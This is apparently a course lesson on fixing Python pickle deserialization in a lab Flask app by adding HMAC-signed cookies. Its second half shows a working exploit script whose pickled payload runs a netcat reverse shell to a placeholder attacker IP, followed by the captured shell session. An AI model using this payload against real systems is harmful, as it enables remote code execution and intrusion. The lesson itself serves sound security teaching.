Introduction to Deserialization Attacks  

Patching Deserialization Vulnerabilities


Download the source code for HTBooks and follow along to this section on your own machine. Install all dependencies with apt install sqlite3 python3-pip then pip3 install -r requirements.txt and finally start the server with python3 -m flask run


Introduction to HMACs

Ideally, we should never deserialize user-controlled data, but let's imagine we have to. One simple but effective way to patch deserialization vulnerabilities, in that case, is implementing the use of HMACs.

HMAC (Keyed-Hash Message Authentication Code) is a concept from cryptography that can be used to verify the authenticity of a message which must be sent through an untrusted medium. In the case of HTBooks, the message is our serialized Session cookie, and it is untrusted because it is under the user's control between the time the server sends it out and receives it again.

To put it simply, the server will first generate a checksum using some hash function, let's say SHA1 and a secret key. Then, when the server sends out the serialized Session cookie, it will include the generated checksum. When the server receives a Session cookie and checksum, and it wants to check if it was generated by the server or not, it can generate the expected checksum using its secret key and see whether the provided checksum matches or not.


Patching HTBooks

As an example, we will walk through patching HTBooks.

First, we will define a secret key in util/config.py. We will use this to sign the HMACs we generate.

...
SECRET_KEY = "99308b5cf8de84fe5573a1a775406423"

Next, we will make some modifications to util/auth.py, specifically the sessionToCookie and cookieToSession functions. We create and append an HMAC when creating the cookie in sessionToCookie. We verify that this HMAC matches the expected value before unpickling any data in cookieToSession, as was explained above.

...
import hmac
import hashlib
...
def sessionToCookie(session):
    # Create a pickled object and then calculate an HMAC using our secret key
    pickled = pickle.dumps(session)
    hmac_calculated = hmac.new(config.SECRET_KEY.encode(), pickled, hashlib.sha512).digest()

    # Concat the two parts together (base64-encoded) and use it as our cookie
    cookie = base64.b64encode(pickled) + b'.' + base64.b64encode(hmac_calculated)
    return cookie

def cookieToSession(cookie):
    # Split and decode the cookie into Pickle and HMAC
    pickled_b64, hmac_given_b64 = cookie.split(".")
    pickled = base64.b64decode(pickled_b64)
    hmac_given = base64.b64decode(hmac_given_b64)

    # Calculate the expected HMAC value and check if it matches
    hmac_expected = hmac.new(config.SECRET_KEY.encode(), pickled, hashlib.sha512).digest()
    if hmac_expected != hmac_given:
        return None
    
    # We have verified that this server created the cookie, and
    # can now unpickle the object safely
    unpickled = pickle.loads(pickled)
    return unpickled
...

Running the server and logging in, we can see the new cookie that HTBooks generates. It comes in the format base64(pickle(Session)).base64(hmac):

Changing any byte of the pickled data or the HMAC results in the authenticity check failing and the cookie not being deserialized (since it can not be trusted).

While this update does prevent the attack from before, if we were somehow able to read files from the server and read the contents of util/auth.py and util/config.py we could carry out the same attacks, just with the extra step of calculating the HMAC.

Note that this is a hypothetical scenario that requires an extra vulnerability in the system to exist (arbitrary file read), so this is not to say that HMACs are insecure.

Assuming HTBooks implemented this HMAC verification, and we were able to read the contents of util/config.py and util/auth.py, let's quickly walk through obtaining RCE. First, set up the folder structure as before:

[!bash!]$ tree exploit
exploit
├── exploit.py
└── util
    └── config.py

Next, copy util/config.py from HTBooks into our exploit util/config.py:

# HTBooks GmbH & Co. KG
# 10.10.2022

DB_NAME = "htbooks.sqlite3"
AUTH_COOKIE_NAME = "auth_8bH3mjF6n9"
SECRET_KEY = "99308b5cf8de84fe5573a1a775406423"

Finally, we just need to modify our exploit.py from the RCE section to generate the corresponding HMAC value:

import pickle
import base64
import hashlib
import hmac
import os
import util.config

class RCE:
    def __reduce__(self):
        return os.system, ("nc -nv <ATTACKER_IP> 9999 -e /bin/sh",)

r = RCE()
p = pickle.dumps(r)
h = hmac.new(util.config.SECRET_KEY.encode(), p, hashlib.sha512).digest()
c = base64.b64encode(p) + b'.' + base64.b64encode(h)
print(c.decode())

Running the updated exploit code will give us a longer payload (since it includes an HMAC at the end).

[!bash!]$ python3 exploit.py 

gASVPAAAAAAAAACMBXBvc2l...SNIP...5IC1lIC9iaW4vc2iUhZRSlC4=.jlPg/hUsa4aLr0SpFq06Xya0i8IJzyh6ELt...SNIP...I5CyQa2yejlPNX5Tg==

We can start a local Netcat listener, paste the cookie value in and receive a reverse shell as in the previous section.

[!bash!]$ nc -nvlp 9999

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.43.164.
Ncat: Connection from 192.168.43.164:37992.
ls -l
total 52
-rw-r--r-- 1 kali kali  2037 Oct 12 06:21 app.py
-rw-r--r-- 1 kali kali   184 Oct 12 06:17 Dockerfile
-rw-r--r-- 1 kali kali    15 Oct 12 06:18 flag.txt
-rw-r--r-- 1 kali kali 20480 Oct 12 08:02 htbooks.sqlite3
drwxr-xr-x 2 kali kali  4096 Oct 12 06:21 __pycache__
-rw-r--r-- 1 kali kali    27 Oct 12 06:17 requirements.txt
drwxr-xr-x 4 kali kali  4096 Oct 12 06:17 static
drwxr-xr-x 2 kali kali  4096 Oct 12 06:17 templates
drwxr-xr-x 3 kali kali  4096 Oct 12 06:21 util
Previous

+10 Streak pts

Next